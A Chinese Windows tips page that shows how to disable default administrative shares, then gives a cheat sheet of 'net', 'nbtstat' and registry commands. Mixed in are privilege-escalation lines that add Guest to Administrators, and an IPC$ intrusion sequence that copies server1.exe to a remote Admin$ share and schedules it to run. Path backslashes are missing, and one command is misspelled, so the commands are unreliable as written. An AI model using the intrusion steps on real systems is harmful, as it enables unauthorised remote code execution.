取消这些默认共享，“开始”→“运行”输入“regedit”确定后，打开注册表编辑器，找到“HKEY_LOCAL_MACHINESYSTEM
CurrentControlSetServices
lanmanserverparameters”项，双击右侧窗口中的“AutoShareServer”项将键值由1改为0，这样就能关闭硬盘各分区的共享。如果没有AutoShareServer项，可自己新建一个再改键值。然后还是在这一窗口下再找到“AutoShareWks”项，也把键值由1改为0，关闭admin$共享。最后到“HKEY_LOCAL_MACHINESYSTEM
CurrentControlSetControlLsa”项处找到“restrictanonymous”，将键值设为1，禁止空连接。重新启动后默认共享就被取消了。
批处理关闭共享
net share admin$ /del
net shars ipc$ /del
net share c$ /del
net share d$ /del
net share e$ /del
net share f$ /del
net share g$ /del
net share h$ /del
net share i$ /del
net share j$ /del
net share k$ /del
net share l$ /del
net share m$ /del
net share n$ /del
net share o$ /del
net share p$ /del
net share q$ /del
net share r$ /del
net share s$ /del
net share t$ /del
net share u$ /del
net share v$ /del
net share w$ /del
net share x$ /del
net share y$ /del
net share z$ /del
pause
以上批处理只能解决默认的共享
现在介绍一些常用的批处理
net share abc$=c: 将c:盘映射为 abc$ (加了“$”之后为隐藏的共享目录)
net share c$ /del; 禁止C$共享
net use z: *.*.*.*C$ 把 *.*.*.*(IP) 的共享 C$ 映射为本地的 Z：盘
net use c: /del;删除映射的c盘
net use * /del /y; 删除全部
net start; 显示本地主机当前服务
net start telnet启动 Telnet 服务;
net start Server启动 Server 服务 (IPC$ 和共享要靠这个服务)
net stop Messenger 停止信使服务(不会在有烦人的Win的弹出广告了)!
net stop; server停止Server 服务 (关了这服务,远程的机子就不能查看你的共享和用IPC$入侵)
net user得到本地主机的用户列表
net user guest /active:yes 将停用的guest帐号激活(变为可用)
net user guest 888888;;;把 Guest 帐号的密码改为 888888
net localgroup Administrators guest /add把 Guest 加到Administrators组中(这样你就有了超级权限了)
net view *.*.*.* 查看指定IP主机上的共享
nbtstat -A *.*.*.* 得到远程主机的NetBIOS用户名列表
net share; 查看本地主机的共享资源(本地的默认共享也可以看到)
net use *.*.*.*ipc$ "" /user:"" 建立空连接
telnet *.*.*.* 90; 连接对方机子的telnet,端口为90
ipconfig查看本机的IP信息
入侵ipc过程序命令
-----------------------------------------------
net use *.*.*.*ipc$ "" /user:"Administrator";建立用户名为 Administrator 密码为空的连接
copy server1.exe *.*.*.*Admin$system32 即将当前目录下的Server1.exe复制到对方Admin$共享的System32目录内
net time *.*.*.* 查看远程主机的当前时间
at *.*.*.* 14:00 server1.exe;;在对方机子添加一个在 14:00 运行 server1.exe 的任务
netstat [-r] [-s] [-n] [-a]
参数含义：
-r 显示本机路由表的内容；
-s 显示每个协议的使用状态（包括TCP协议、UDP协议、IP协议）；
-n 以数字表格形式显示地址和端口；
-a 显示所有主机的端口号。
批处理修改主页和起始页
reg add "HKCUSoftwareMicrosoftInternet ExplorerMain" /v "Start Page" /t reg_sz /d http://www.baidu.com /f
reg add "HKCUSoftwareMicrosoftInternet ExplorerMain" /v "Default_Page_URL" /t reg_sz /d http://www.baidu.com /f
标签：
